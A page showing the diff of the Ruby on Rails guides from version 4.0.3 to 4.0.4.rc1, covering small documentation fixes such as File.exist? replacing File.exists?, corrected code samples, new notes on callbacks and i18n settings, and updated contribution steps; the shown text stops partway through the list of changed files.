rails 4.0.3 → 4.0.4.rc1

Sign up to get free protection for your applications and to get access to all the features.
Files changed (34) hide show
  1. checksums.yaml +4 -4
  2. data/guides/CHANGELOG.md +16 -1
  3. data/guides/bug_report_templates/action_controller_master.rb +2 -2
  4. data/guides/bug_report_templates/active_record_master.rb +1 -1
  5. data/guides/code/getting_started/Gemfile +1 -1
  6. data/guides/code/getting_started/config/boot.rb +1 -1
  7. data/guides/code/getting_started/public/robots.txt +1 -1
  8. data/guides/rails_guides.rb +1 -1
  9. data/guides/rails_guides/generator.rb +1 -1
  10. data/guides/source/4_0_release_notes.md +1 -1
  11. data/guides/source/_welcome.html.erb +1 -1
  12. data/guides/source/action_controller_overview.md +7 -7
  13. data/guides/source/action_view_overview.md +2 -2
  14. data/guides/source/active_record_callbacks.md +52 -3
  15. data/guides/source/active_record_querying.md +11 -7
  16. data/guides/source/active_record_validations.md +9 -9
  17. data/guides/source/active_support_core_extensions.md +3 -3
  18. data/guides/source/api_documentation_guidelines.md +8 -0
  19. data/guides/source/asset_pipeline.md +4 -4
  20. data/guides/source/configuring.md +6 -0
  21. data/guides/source/contributing_to_ruby_on_rails.md +12 -7
  22. data/guides/source/documents.yaml +1 -1
  23. data/guides/source/engines.md +1 -1
  24. data/guides/source/form_helpers.md +10 -3
  25. data/guides/source/getting_started.md +5 -1
  26. data/guides/source/i18n.md +4 -3
  27. data/guides/source/initialization.md +2 -2
  28. data/guides/source/layout.html.erb +1 -1
  29. data/guides/source/layouts_and_rendering.md +0 -2
  30. data/guides/source/migrations.md +1 -1
  31. data/guides/source/rails_application_templates.md +1 -1
  32. data/guides/source/security.md +25 -25
  33. data/guides/source/testing.md +19 -14
  34. metadata +13 -13
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA1:
3
- metadata.gz: bd17a7d9f0008ce7710cfda82fd5722fa4fcd657
4
- data.tar.gz: 6cf53bad077acba6fb693b57437736e8472b3f35
3
+ metadata.gz: a2c275a8e9bb6077b8c829c04e64da999f6e6ea8
4
+ data.tar.gz: 1607fdd4071711a58cb72ad011ef439fce04259d
5
5
  SHA512:
6
- metadata.gz: 06e482b796c3d2cbb630a487d2c0603480670491f1e4fd616026d817e1ed3614b7992e62bc523ff4a8aa3cb59fe6b0298ae7364c219488df5a5cc711ae42c1bd
7
- data.tar.gz: 096532f7bbd472928901a4a25547bce8a53ef4daffb9e8dd549c9bc943c056b168fb4d6ef94d24409b29cadb2737c67b7794078b95a03ec7874e0bafde8ac6e7
6
+ metadata.gz: f34289e24f0c31bbfd66c58b61482fe5f4de4577fae9a5d060086baaf7b082fe40eb7e0731cb837ec2ad392fe9efcbf1c8a0407ff94db80c2243cfc0a0007524
7
+ data.tar.gz: 2db1b487696df9005ae762b1bad2ab21787c422f6f056655a809d8da6d9fbf8d88069743f39e034f396b4d1c6bda3b29610f423e2f8feee891ecb820bf72f31b
@@ -1,4 +1,19 @@
1
- ## unreleased ##
1
+ ## Rails 4.0.4 ##
2
+
3
+ *No changes*
4
+
5
+
6
+ ## Rails 4.0.3 (February 18, 2014) ##
7
+
8
+ *No changes*
9
+
10
+
11
+ ## Rails 4.0.2 (December 02, 2013) ##
12
+
13
+ *No changes*
14
+
15
+
16
+ ## Rails 4.0.1 (November 01, 2013) ##
2
17
 
3
18
  * Added the Rails maintenance policy to the guides.
4
19
 
@@ -1,4 +1,4 @@
1
- unless File.exists?('Gemfile')
1
+ unless File.exist?('Gemfile')
2
2
  File.write('Gemfile', <<-GEMFILE)
3
3
  source 'https://rubygems.org'
4
4
  gem 'rails', github: 'rails/rails'
@@ -48,4 +48,4 @@ class BugTest < Minitest::Test
48
48
  def app
49
49
  Rails.application
50
50
  end
51
- end
51
+ end
@@ -1,4 +1,4 @@
1
- unless File.exists?('Gemfile')
1
+ unless File.exist?('Gemfile')
2
2
  File.write('Gemfile', <<-GEMFILE)
3
3
  source 'https://rubygems.org'
4
4
  gem 'rails', github: 'rails/rails'
@@ -31,7 +31,7 @@ end
31
31
  gem 'jbuilder', '~> 1.2'
32
32
 
33
33
  # To use ActiveModel has_secure_password
34
- # gem 'bcrypt-ruby', '~> 3.1.2'
34
+ # gem 'bcrypt', '~> 3.1.7'
35
35
 
36
36
  # Use unicorn as the app server
37
37
  # gem 'unicorn'
@@ -1,4 +1,4 @@
1
1
  # Set up gems listed in the Gemfile.
2
2
  ENV['BUNDLE_GEMFILE'] ||= File.expand_path('../../Gemfile', __FILE__)
3
3
 
4
- require 'bundler/setup' if File.exists?(ENV['BUNDLE_GEMFILE'])
4
+ require 'bundler/setup' if File.exist?(ENV['BUNDLE_GEMFILE'])
@@ -1,4 +1,4 @@
1
- # See http://www.robotstxt.org/wc/norobots.html for documentation on how to use the robots.txt file
1
+ # See http://www.robotstxt.org/robotstxt.html for documentation on how to use the robots.txt file
2
2
  #
3
3
  # To ban all spiders from the entire site uncomment the next two lines:
4
4
  # User-agent: *
@@ -5,7 +5,7 @@ $:.unshift pwd
5
5
  def bundler?
6
6
  # Note that rake sets the cwd to the one that contains the Rakefile
7
7
  # being executed.
8
- File.exists?('Gemfile')
8
+ File.exist?('Gemfile')
9
9
  end
10
10
 
11
11
  begin
@@ -184,7 +184,7 @@ module RailsGuides
184
184
  def generate?(source_file, output_file)
185
185
  fin = File.join(source_dir, source_file)
186
186
  fout = output_path_for(output_file)
187
- all || !File.exists?(fout) || File.mtime(fout) < File.mtime(fin)
187
+ all || !File.exist?(fout) || File.mtime(fout) < File.mtime(fin)
188
188
  end
189
189
 
190
190
  def generate_guide(guide, output_file)
@@ -137,7 +137,7 @@ Please refer to the [Changelog](https://github.com/rails/rails/blob/master/activ
137
137
 
138
138
  * `Object#try` will now return nil instead of raise a NoMethodError if the receiving object does not implement the method, but you can still get the old behavior by using the new `Object#try!`.
139
139
 
140
- * `String#to_date` now raises `Argument Error: invalid date` instead of `NoMethodError: undefined method 'div' for nil:NilClass`
140
+ * `String#to_date` now raises `ArgumentError: invalid date` instead of `NoMethodError: undefined method 'div' for nil:NilClass`
141
141
  when given an invalid date. It is now the same as `Date.parse`, and it accepts more invalid dates than 3.x, such as:
142
142
 
143
143
  ```
@@ -15,7 +15,7 @@
15
15
  </p>
16
16
  <% end %>
17
17
  <p>
18
- The guides for Rails 3.2.x are available at <a href="http://guides.rubyonrails.org/v3.2.14/">http://guides.rubyonrails.org/v3.2.14/</a>.
18
+ The guides for Rails 3.2.x are available at <a href="http://guides.rubyonrails.org/v3.2.17/">http://guides.rubyonrails.org/v3.2.17/</a>.
19
19
  </p>
20
20
  <p>
21
21
  The guides for Rails 2.3.x are available at <a href="http://guides.rubyonrails.org/v2.3.11/">http://guides.rubyonrails.org/v2.3.11/</a>.
@@ -321,16 +321,16 @@ in mind. It is not meant as a silver bullet to handle all your
321
321
  whitelisting problems. However you can easily mix the API with your
322
322
  own code to adapt to your situation.
323
323
 
324
- Imagine a scenario where you want to whitelist an attribute
325
- containing a hash with any keys. Using strong parameters you can't
326
- allow a hash with any keys but you can use a simple assignment to get
327
- the job done:
324
+ Imagine a scenario where you have parameters representing a product
325
+ name and a hash of arbitrary data associated with that product, and
326
+ you want to whitelist the product name attribute but also the whole
327
+ data hash. The strong parameters API doesn't let you directly
328
+ whitelist the whole of a nested hash with any keys, but you can use
329
+ the keys of your nested hash to declare what to whitelist:
328
330
 
329
331
  ```ruby
330
332
  def product_params
331
- params.require(:product).permit(:name).tap do |whitelisted|
332
- whitelisted[:data] = params[:product][:data]
333
- end
333
+ params.require(:product).permit(:name, data: params[:product][:data].try(:keys))
334
334
  end
335
335
  ```
336
336
 
@@ -262,7 +262,7 @@ Rails determines the name of the partial to use by looking at the model name in
262
262
  You can also specify a second partial to be rendered between instances of the main partial by using the `:spacer_template` option:
263
263
 
264
264
  ```erb
265
- <%= render @products, spacer_template: "product_ruler" %>
265
+ <%= render partial: @products, spacer_template: "product_ruler" %>
266
266
  ```
267
267
 
268
268
  Rails will render the `_product_ruler` partial (with no data passed to it) between each pair of `_product` partials.
@@ -1259,7 +1259,7 @@ Creates a field set for grouping HTML form elements.
1259
1259
  Creates a file upload field.
1260
1260
 
1261
1261
  ```html+erb
1262
- <%= form_tag {action: "post"}, {multipart: true} do %>
1262
+ <%= form_tag({action:"post"}, multipart: true) do %>
1263
1263
  <label for="file">File to Upload</label> <%= file_field_tag "file" %>
1264
1264
  <%= submit_tag %>
1265
1265
  <% end %>
@@ -55,7 +55,7 @@ class User < ActiveRecord::Base
55
55
  end
56
56
  ```
57
57
 
58
- Callbacks can also be registered to only fire on certain lifecycle events:
58
+ Callbacks can also be registered to only fire on certain life cycle events:
59
59
 
60
60
  ```ruby
61
61
  class User < ActiveRecord::Base
@@ -141,6 +141,55 @@ You have initialized an object!
141
141
  => #<User id: 1>
142
142
  ```
143
143
 
144
+ ### `after_touch`
145
+
146
+ The `after_touch` callback will be called whenever an Active Record object is touched.
147
+
148
+ ```ruby
149
+ class User < ActiveRecord::Base
150
+ after_touch do |user|
151
+ puts "You have touched an object"
152
+ end
153
+ end
154
+
155
+ >> u = User.create(name: 'Kuldeep')
156
+ => #<User id: 1, name: "Kuldeep", created_at: "2013-11-25 12:17:49", updated_at: "2013-11-25 12:17:49">
157
+
158
+ >> u.touch
159
+ You have touched an object
160
+ => true
161
+ ```
162
+
163
+ It can be used along with `belongs_to`:
164
+
165
+ ```ruby
166
+ class Employee < ActiveRecord::Base
167
+ belongs_to :company, touch: true
168
+ after_touch do
169
+ puts 'An Employee was touched'
170
+ end
171
+ end
172
+
173
+ class Company < ActiveRecord::Base
174
+ has_many :employees
175
+ after_touch :log_when_employees_or_company_touched
176
+
177
+ private
178
+ def log_when_employees_or_company_touched
179
+ puts 'Employee/Company was touched'
180
+ end
181
+ end
182
+
183
+ >> @employee = Employee.last
184
+ => #<Employee id: 1, company_id: 1, created_at: "2013-11-25 17:04:22", updated_at: "2013-11-25 17:05:05">
185
+
186
+ # triggers @employee.company.touch
187
+ >> @employee.touch
188
+ Employee/Company was touched
189
+ An Employee was touched
190
+ => true
191
+ ```
192
+
144
193
  Running Callbacks
145
194
  -----------------
146
195
 
@@ -288,7 +337,7 @@ Here's an example where we create a class with an `after_destroy` callback for a
288
337
  ```ruby
289
338
  class PictureFileCallbacks
290
339
  def after_destroy(picture_file)
291
- if File.exists?(picture_file.filepath)
340
+ if File.exist?(picture_file.filepath)
292
341
  File.delete(picture_file.filepath)
293
342
  end
294
343
  end
@@ -308,7 +357,7 @@ Note that we needed to instantiate a new `PictureFileCallbacks` object, since we
308
357
  ```ruby
309
358
  class PictureFileCallbacks
310
359
  def self.after_destroy(picture_file)
311
- if File.exists?(picture_file.filepath)
360
+ if File.exist?(picture_file.filepath)
312
361
  File.delete(picture_file.filepath)
313
362
  end
314
363
  end
@@ -436,7 +436,7 @@ to this code:
436
436
  Client.where("orders_count = #{params[:orders]}")
437
437
  ```
438
438
 
439
- because of argument safety. Putting the variable directly into the conditions string will pass the variable to the database **as-is**. This means that it will be an unescaped variable directly from a user who may have malicious intent. If you do this, you put your entire database at risk because once a user finds out he or she can exploit your database they can do just about anything to it. Never ever put your arguments directly inside the conditions string.
439
+ because of argument safety. Putting the variable directly into the conditions string will pass the variable to the database **as-is**. This means that it will be an unescaped variable directly from a user who may have malicious intent. If you do this, you put your entire database at risk because once a user finds out they can exploit your database they can do just about anything to it. Never ever put your arguments directly inside the conditions string.
440
440
 
441
441
  TIP: For more information on the dangers of SQL injection, see the [Ruby on Rails Security Guide](security.html#sql-injection).
442
442
 
@@ -826,6 +826,8 @@ client.save
826
826
 
827
827
  As `client` is explicitly set to be a readonly object, the above code will raise an `ActiveRecord::ReadOnlyRecord` exception when calling `client.save` with an updated value of _visits_.
828
828
 
829
+ NOTE: using `joins` without an explicit `select` will return readonly records.
830
+
829
831
  Locking Records for Update
830
832
  --------------------------
831
833
 
@@ -929,6 +931,8 @@ This will result in the following SQL:
929
931
  SELECT clients.* FROM clients LEFT OUTER JOIN addresses ON addresses.client_id = clients.id
930
932
  ```
931
933
 
934
+ NOTE: using `joins` might return readonly records. See [readonly](active_record_querying.html#readonly-objects) for more details.
935
+
932
936
  ### Using Array/Hash of Named Associations
933
937
 
934
938
  WARNING: This method only works with `INNER JOIN`.
@@ -1293,7 +1297,7 @@ especially useful if a `default_scope` is specified in the model and should not
1293
1297
  applied for this particular query.
1294
1298
 
1295
1299
  ```ruby
1296
- Client.unscoped.all
1300
+ Client.unscoped.load
1297
1301
  ```
1298
1302
 
1299
1303
  This method removes all scoping and will do a normal query on the table.
@@ -1310,11 +1314,6 @@ Client.unscoped {
1310
1314
  Dynamic Finders
1311
1315
  ---------------
1312
1316
 
1313
- NOTE: Dynamic finders have been deprecated in Rails 4.0 and will be
1314
- removed in Rails 4.1. The best practice is to use Active Record scopes
1315
- instead. You can find the deprecation gem at
1316
- https://github.com/rails/activerecord-deprecated_finders
1317
-
1318
1317
  For every field (also known as an attribute) you define in your table, Active Record provides a finder method. If you have a field called `first_name` on your `Client` model for example, you get `find_by_first_name` for free from Active Record. If you have a `locked` field on the `Client` model, you also get `find_by_locked` and methods.
1319
1318
 
1320
1319
  You can specify an exclamation point (`!`) on the end of the dynamic finders to get them to raise an `ActiveRecord::RecordNotFound` error if they do not return any records, like `Client.find_by_name!("Ryan")`
@@ -1324,6 +1323,11 @@ If you want to find both by name and locked, you can chain these finders togethe
1324
1323
  Find or Build a New Object
1325
1324
  --------------------------
1326
1325
 
1326
+ NOTE: Some dynamic finders have been deprecated in Rails 4.0 and will be
1327
+ removed in Rails 4.1. The best practice is to use Active Record scopes
1328
+ instead. You can find the deprecation gem at
1329
+ https://github.com/rails/activerecord-deprecated_finders
1330
+
1327
1331
  It's common that you need to find a record or create it if it doesn't exist. You can do that with the `find_or_create_by` and `find_or_create_by!` methods.
1328
1332
 
1329
1333
  ### `find_or_create_by`
@@ -337,7 +337,7 @@ set. In fact, this set can be any enumerable object.
337
337
  ```ruby
338
338
  class Account < ActiveRecord::Base
339
339
  validates :subdomain, exclusion: { in: %w(www us ca jp),
340
- message: "Subdomain %{value} is reserved." }
340
+ message: "%{value} is reserved." }
341
341
  end
342
342
  ```
343
343
 
@@ -616,10 +616,6 @@ The default error message is _"has already been taken"_.
616
616
  This helper passes the record to a separate class for validation.
617
617
 
618
618
  ```ruby
619
- class Person < ActiveRecord::Base
620
- validates_with GoodnessValidator
621
- end
622
-
623
619
  class GoodnessValidator < ActiveModel::Validator
624
620
  def validate(record)
625
621
  if record.first_name == "Evil"
@@ -627,6 +623,10 @@ class GoodnessValidator < ActiveModel::Validator
627
623
  end
628
624
  end
629
625
  end
626
+
627
+ class Person < ActiveRecord::Base
628
+ validates_with GoodnessValidator
629
+ end
630
630
  ```
631
631
 
632
632
  NOTE: Errors added to `record.errors[:base]` relate to the state of the record
@@ -644,10 +644,6 @@ Like all other validations, `validates_with` takes the `:if`, `:unless` and
644
644
  validator class as `options`:
645
645
 
646
646
  ```ruby
647
- class Person < ActiveRecord::Base
648
- validates_with GoodnessValidator, fields: [:first_name, :last_name]
649
- end
650
-
651
647
  class GoodnessValidator < ActiveModel::Validator
652
648
  def validate(record)
653
649
  if options[:fields].any?{|field| record.send(field) == "Evil" }
@@ -655,6 +651,10 @@ class GoodnessValidator < ActiveModel::Validator
655
651
  end
656
652
  end
657
653
  end
654
+
655
+ class Person < ActiveRecord::Base
656
+ validates_with GoodnessValidator, fields: [:first_name, :last_name]
657
+ end
658
658
  ```
659
659
 
660
660
  Note that the validator will be initialized *only once* for the whole application
@@ -886,7 +886,7 @@ class User < ActiveRecord::Base
886
886
  end
887
887
  ```
888
888
 
889
- With that configuration you get a user's name via his profile, `user.profile.name`, but it could be handy to still be able to access such attribute directly:
889
+ With that configuration you get a user's name via their profile, `user.profile.name`, but it could be handy to still be able to access such attribute directly:
890
890
 
891
891
  ```ruby
892
892
  class User < ActiveRecord::Base
@@ -1380,6 +1380,8 @@ The third argument, `indent_empty_lines`, is a flag that says whether empty line
1380
1380
 
1381
1381
  The `indent!` method performs indentation in-place.
1382
1382
 
1383
+ NOTE: Defined in `active_support/core_ext/string/indent.rb`.
1384
+
1383
1385
  ### Access
1384
1386
 
1385
1387
  #### `at(position)`
@@ -2256,8 +2258,6 @@ The defaults for these options can be localized, their keys are:
2256
2258
  | `:words_connector` | `support.array.words_connector` |
2257
2259
  | `:last_word_connector` | `support.array.last_word_connector` |
2258
2260
 
2259
- Options `:connector` and `:skip_last_comma` are deprecated.
2260
-
2261
2261
  NOTE: Defined in `active_support/core_ext/array/conversions.rb`.
2262
2262
 
2263
2263
  #### `to_formatted_s`
@@ -42,6 +42,14 @@ Spell names correctly: Arel, Test::Unit, RSpec, HTML, MySQL, JavaScript, ERB. Wh
42
42
 
43
43
  Use the article "an" for "SQL", as in "an SQL statement". Also "an SQLite database".
44
44
 
45
+ When using pronouns in reference to a hypothetical person, such as "a user with a session cookie", gender neutral pronouns (they/their/them) should be used. Instead of:
46
+
47
+ * he or she... use they.
48
+ * him or her... use them.
49
+ * his or her... use their.
50
+ * his or hers... use theirs.
51
+ * himself or herself... use themselves.
52
+
45
53
  English
46
54
  -------
47
55
 
@@ -84,7 +84,7 @@ Fingerprinting is enabled by default for production and disabled for all other e
84
84
  More reading:
85
85
 
86
86
  * [Optimize caching](http://code.google.com/speed/page-speed/docs/caching.html)
87
- * [Revving Filenames: dont use querystring](http://www.stevesouders.com/blog/2008/08/23/revving-filenames-dont-use-querystring/)
87
+ * [Revving Filenames: don't use querystring](http://www.stevesouders.com/blog/2008/08/23/revving-filenames-dont-use-querystring/)
88
88
 
89
89
 
90
90
  How to Use the Asset Pipeline
@@ -249,10 +249,10 @@ When using the asset pipeline, paths to assets must be re-written and `sass-rail
249
249
  * `image-url("rails.png")` becomes `url(/assets/rails.png)`
250
250
  * `image-path("rails.png")` becomes `"/assets/rails.png"`.
251
251
 
252
- The more generic form can also be used but the asset path and class must both be specified:
252
+ The more generic form can also be used:
253
253
 
254
- * `asset-url("rails.png", image)` becomes `url(/assets/rails.png)`
255
- * `asset-path("rails.png", image)` becomes `"/assets/rails.png"`
254
+ * `asset-url("rails.png")` becomes `url(/assets/rails.png)`
255
+ * `asset-path("rails.png")` becomes `"/assets/rails.png"`
256
256
 
257
257
  #### JavaScript/CoffeeScript and ERB
258
258
 
@@ -242,8 +242,14 @@ config.middleware.delete "Rack::MethodOverride"
242
242
 
243
243
  ### Configuring i18n
244
244
 
245
+ All these configuration options are delegated to the `I18n` library.
246
+
247
+ * `config.i18n.available_locales` whitelists the available locales for the app. Defaults to all locale keys found in locale files, usually only `:en` on a new application.
248
+
245
249
  * `config.i18n.default_locale` sets the default locale of an application used for i18n. Defaults to `:en`.
246
250
 
251
+ * `config.i18n.enforce_available_locales` ensures that all locales passed through i18n must be declared in the `available_locales` list, raising an `I18n::InvalidLocale` exception when setting an unavailable locale. Defaults to `true`. It is recommended not to disable this option unless strongly required, since this works as a security measure against setting any invalid locale from user input.
252
+
247
253
  * `config.i18n.load_path` sets the path Rails uses to look for locale files. Defaults to `config/locales/*.{yml,rb}`.
248
254
 
249
255
  ### Configuring Active Record
@@ -259,8 +259,8 @@ workflow with the [rails-dev-box](https://github.com/rails/rails-dev-box).
259
259
 
260
260
  As a compromise, test what your code obviously affects, and if the change is
261
261
  not in railties run the whole test suite of the affected component. If all is
262
- green that's enough to propose your contribution. We have [Travis CI](https
263
- ://travis-ci.org/) as a safety net for catching unexpected breakages
262
+ green that's enough to propose your contribution. We have [Travis CI](https://travis-ci.org/rails/rails)
263
+ as a safety net for catching unexpected breakages
264
264
  elsewhere.
265
265
 
266
266
  TIP: Changes that are cosmetic in nature and do not add anything substantial to the stability, functionality, or testability of Rails will generally not be accepted.
@@ -430,13 +430,18 @@ $ git push origin branch_name
430
430
 
431
431
  ### Issue a Pull Request
432
432
 
433
- Navigate to the Rails repository you just pushed to (e.g. https://github.com/your-user-name/rails) and press "Pull Request" in the upper right hand corner.
433
+ Navigate to the Rails repository you just pushed to (e.g.
434
+ https://github.com/your-user-name/rails) and click on "Pull Requests" seen in
435
+ the right panel. On the next page, press "New pull request" in the upper right
436
+ hand corner.
434
437
 
435
- Write your branch name in the branch field (this is filled with "master" by default) and press "Update Commit Range".
438
+ Click on "Edit", if you need to change the branches being compared (it compares
439
+ "master" by default) and press "Click to create a pull request for this
440
+ comparison".
436
441
 
437
- Ensure the changesets you introduced are included in the "Commits" tab. Ensure that the "Files Changed" incorporate all of your changes.
438
-
439
- Fill in some details about your potential patch including a meaningful title. When finished, press "Send pull request". The Rails core team will be notified about your submission.
442
+ Ensure the changesets you introduced are included. Fill in some details about
443
+ your potential patch including a meaningful title. When finished, press "Send
444
+ pull request". The Rails core team will be notified about your submission.
440
445
 
441
446
  ### Get some Feedback
442
447
 
@@ -117,7 +117,7 @@
117
117
  name: The Rails Initialization Process
118
118
  work_in_progress: true
119
119
  url: initialization.html
120
- description: This guide explains the internals of the Rails initialization process as of Rails 3.1
120
+ description: This guide explains the internals of the Rails initialization process as of Rails 4
121
121
  -
122
122
  name: Extending Rails
123
123
  documents:
@@ -253,7 +253,7 @@ The helper inside `app/helpers/blorgh/posts_helper.rb` is also namespaced:
253
253
 
254
254
  ```ruby
255
255
  module Blorgh
256
- class PostsHelper
256
+ module PostsHelper
257
257
  ...
258
258
  end
259
259
  end
@@ -737,7 +737,7 @@ You might want to render a form with a set of edit fields for each of a person's
737
737
  <%= form_for @person do |person_form| %>
738
738
  <%= person_form.text_field :name %>
739
739
  <% @person.addresses.each do |address| %>
740
- <%= person_form.fields_for address, index: address do |address_form|%>
740
+ <%= person_form.fields_for address, index: address.id do |address_form|%>
741
741
  <%= address_form.text_field :city %>
742
742
  <% end %>
743
743
  <% end %>
@@ -760,9 +760,16 @@ This will result in a `params` hash that looks like
760
760
  {'person' => {'name' => 'Bob', 'address' => {'23' => {'city' => 'Paris'}, '45' => {'city' => 'London'}}}}
761
761
  ```
762
762
 
763
- Rails knows that all these inputs should be part of the person hash because you called `fields_for` on the first form builder. By specifying an `:index` option you're telling Rails that instead of naming the inputs `person[address][city]` it should insert that index surrounded by [] between the address and the city. If you pass an Active Record object as we did then Rails will call `to_param` on it, which by default returns the database id. This is often useful as it is then easy to locate which Address record should be modified. You can pass numbers with some other significance, strings or even `nil` (which will result in an array parameter being created).
763
+ Rails knows that all these inputs should be part of the person hash because you
764
+ called `fields_for` on the first form builder. By specifying an `:index` option
765
+ you're telling Rails that instead of naming the inputs `person[address][city]`
766
+ it should insert that index surrounded by [] between the address and the city.
767
+ This is often useful as it is then easy to locate which Address record
768
+ should be modified. You can pass numbers with some other significance,
769
+ strings or even `nil` (which will result in an array parameter being created).
764
770
 
765
- To create more intricate nestings, you can specify the first part of the input name (`person[address]` in the previous example) explicitly, for example
771
+ To create more intricate nestings, you can specify the first part of the input
772
+ name (`person[address]` in the previous example) explicitly:
766
773
 
767
774
  ```erb
768
775
  <%= fields_for 'person[address][primary]', address, index: address do |address_form| %>
@@ -593,7 +593,10 @@ If you submit the form again now, Rails will complain about not finding
593
593
  the `show` action. That's not very useful though, so let's add the
594
594
  `show` action before proceeding.
595
595
 
596
- ```ruby
596
+ As we have seen in the output of `rake routes`, the route for `show` action is
597
+ as follows:
598
+
599
+ ```
597
600
  post GET /posts/:id(.:format) posts#show
598
601
  ```
599
602
 
@@ -1077,6 +1080,7 @@ together.
1077
1080
 
1078
1081
  ```html+erb
1079
1082
  <h1>Listing Posts</h1>
1083
+ <%= link_to 'New post', new_post_path %>
1080
1084
  <table>
1081
1085
  <tr>
1082
1086
  <th>Title</th>
@@ -96,7 +96,7 @@ This means, that in the `:en` locale, the key _hello_ will map to the _Hello wor
96
96
 
97
97
  The I18n library will use **English** as a **default locale**, i.e. if you don't set a different locale, `:en` will be used for looking up translations.
98
98
 
99
- NOTE: The i18n library takes a **pragmatic approach** to locale keys (after [some discussion](http://groups.google.com/group/rails-i18n/browse_thread/thread/14dede2c7dbe9470/80eec34395f64f3c?hl=en), including only the _locale_ ("language") part, like `:en`, `:pl`, not the _region_ part, like `:en-US` or `:en-GB`, which are traditionally used for separating "languages" and "regional setting" or "dialects". Many international applications use only the "language" element of a locale such as `:cs`, `:th` or `:es` (for Czech, Thai and Spanish). However, there are also regional differences within different language groups that may be important. For instance, in the `:en-US` locale you would have $ as a currency symbol, while in `:en-GB`, you would have £. Nothing stops you from separating regional and other settings in this way: you just have to provide full "English - United Kingdom" locale in a `:en-GB` dictionary. Various [Rails I18n plugins](http://rails-i18n.org/wiki) such as [Globalize3](https://github.com/svenfuchs/globalize3) may help you implement it.
99
+ NOTE: The i18n library takes a **pragmatic approach** to locale keys (after [some discussion](http://groups.google.com/group/rails-i18n/browse_thread/thread/14dede2c7dbe9470/80eec34395f64f3c?hl=en)), including only the _locale_ ("language") part, like `:en`, `:pl`, not the _region_ part, like `:en-US` or `:en-GB`, which are traditionally used for separating "languages" and "regional setting" or "dialects". Many international applications use only the "language" element of a locale such as `:cs`, `:th` or `:es` (for Czech, Thai and Spanish). However, there are also regional differences within different language groups that may be important. For instance, in the `:en-US` locale you would have $ as a currency symbol, while in `:en-GB`, you would have £. Nothing stops you from separating regional and other settings in this way: you just have to provide full "English - United Kingdom" locale in a `:en-GB` dictionary. Various [Rails I18n plugins](http://rails-i18n.org/wiki) such as [Globalize3](https://github.com/svenfuchs/globalize3) may help you implement it.
100
100
 
101
101
  The **translations load path** (`I18n.load_path`) is just a Ruby Array of paths to your translation files that will be loaded automatically and available in your application. You can pick whatever directory and translation file naming scheme makes sense for you.
102
102
 
@@ -283,7 +283,7 @@ def extract_locale_from_accept_language_header
283
283
  end
284
284
  ```
285
285
 
286
- Of course, in a production environment you would need much more robust code, and could use a plugin such as Iain Hecker's [http_accept_language](https://github.com/iain/http_accept_language/tree/master or even Rack middleware such as Ryan Tomayko's [locale](https://github.com/rack/rack-contrib/blob/master/lib/rack/contrib/locale.rb).
286
+ Of course, in a production environment you would need much more robust code, and could use a plugin such as Iain Hecker's [http_accept_language](https://github.com/iain/http_accept_language/tree/master) or even Rack middleware such as Ryan Tomayko's [locale](https://github.com/rack/rack-contrib/blob/master/lib/rack/contrib/locale.rb).
287
287
 
288
288
  #### Using GeoIP (or Similar) Database
289
289
 
@@ -637,7 +637,7 @@ I18n.default_locale = :de
637
637
 
638
638
  ### Using Safe HTML Translations
639
639
 
640
- Keys with a '_html' suffix and keys named 'html' are marked as HTML safe. Use them in views without escaping.
640
+ Keys with a '_html' suffix and keys named 'html' are marked as HTML safe. When you use them in views the HTML will not be escaped.
641
641
 
642
642
  ```yaml
643
643
  # config/locales/en.yml
@@ -797,6 +797,7 @@ So, for example, instead of the default error message `"can not be blank"` you c
797
797
  | confirmation | - | :confirmation | - |
798
798
  | acceptance | - | :accepted | - |
799
799
  | presence | - | :blank | - |
800
+ | absence | - | :present | - |
800
801
  | length | :within, :in | :too_short | count |
801
802
  | length | :within, :in | :too_long | count |
802
803
  | length | :is | :wrong_length | count |
@@ -51,7 +51,7 @@ The `APP_PATH` constant will be used later in `rails/commands`. The `config/boot
51
51
  # Set up gems listed in the Gemfile.
52
52
  ENV['BUNDLE_GEMFILE'] ||= File.expand_path('../../Gemfile', __FILE__)
53
53
 
54
- require 'bundler/setup' if File.exists?(ENV['BUNDLE_GEMFILE'])
54
+ require 'bundler/setup' if File.exist?(ENV['BUNDLE_GEMFILE'])
55
55
  ```
56
56
 
57
57
  In a standard Rails application, there's a `Gemfile` which declares all
@@ -117,7 +117,7 @@ when 'server'
117
117
  # Change to the application's path if there is no config.ru file in current dir.
118
118
  # This allows us to run `rails server` from other directories, but still get
119
119
  # the main config.ru and properly set the tmp directory.
120
- Dir.chdir(File.expand_path('../../', APP_PATH)) unless File.exists?(File.expand_path("config.ru"))
120
+ Dir.chdir(File.expand_path('../../', APP_PATH)) unless File.exist?(File.expand_path("config.ru"))
121
121
 
122
122
  require 'rails/commands/server'
123
123
  Rails::Server.new.tap do |server|
@@ -4,7 +4,7 @@
4
4
  <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
5
5
  <head>
6
6
  <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
7
- <meta name="viewport" content="width=device-width, initial-scale=1">
7
+ <meta name="viewport" content="width=device-width, initial-scale=1"/>
8
8
 
9
9
  <title><%= yield(:page_title) || 'Ruby on Rails Guides' %></title>
10
10
  <link rel="stylesheet" type="text/css" href="stylesheets/style.css" />
@@ -1009,7 +1009,6 @@ You can also pass local variables into partials, making them even more powerful
1009
1009
 
1010
1010
  ```html+erb
1011
1011
  <h1>New zone</h1>
1012
- <%= error_messages_for :zone %>
1013
1012
  <%= render partial: "form", locals: {zone: @zone} %>
1014
1013
  ```
1015
1014
 
@@ -1017,7 +1016,6 @@ You can also pass local variables into partials, making them even more powerful
1017
1016
 
1018
1017
  ```html+erb
1019
1018
  <h1>Editing zone</h1>
1020
- <%= error_messages_for :zone %>
1021
1019
  <%= render partial: "form", locals: {zone: @zone} %>
1022
1020
  ```
1023
1021
 
@@ -422,7 +422,7 @@ If the helpers provided by Active Record aren't enough you can use the `execute`
422
422
  method to execute arbitrary SQL:
423
423
 
424
424
  ```ruby
425
- Products.connection.execute('UPDATE `products` SET `price`=`free` WHERE 1')
425
+ Product.connection.execute('UPDATE `products` SET `price`=`free` WHERE 1')
426
426
  ```
427
427
 
428
428
  For more details and examples of individual methods, check the API documentation.
@@ -78,7 +78,7 @@ end
78
78
 
79
79
  Adds the given source to the generated application's `Gemfile`.
80
80
 
81
- For example, if you need to source a gem from "http://code.whytheluckystiff.net":
81
+ For example, if you need to source a gem from `"http://code.whytheluckystiff.net"`:
82
82
 
83
83
  ```ruby
84
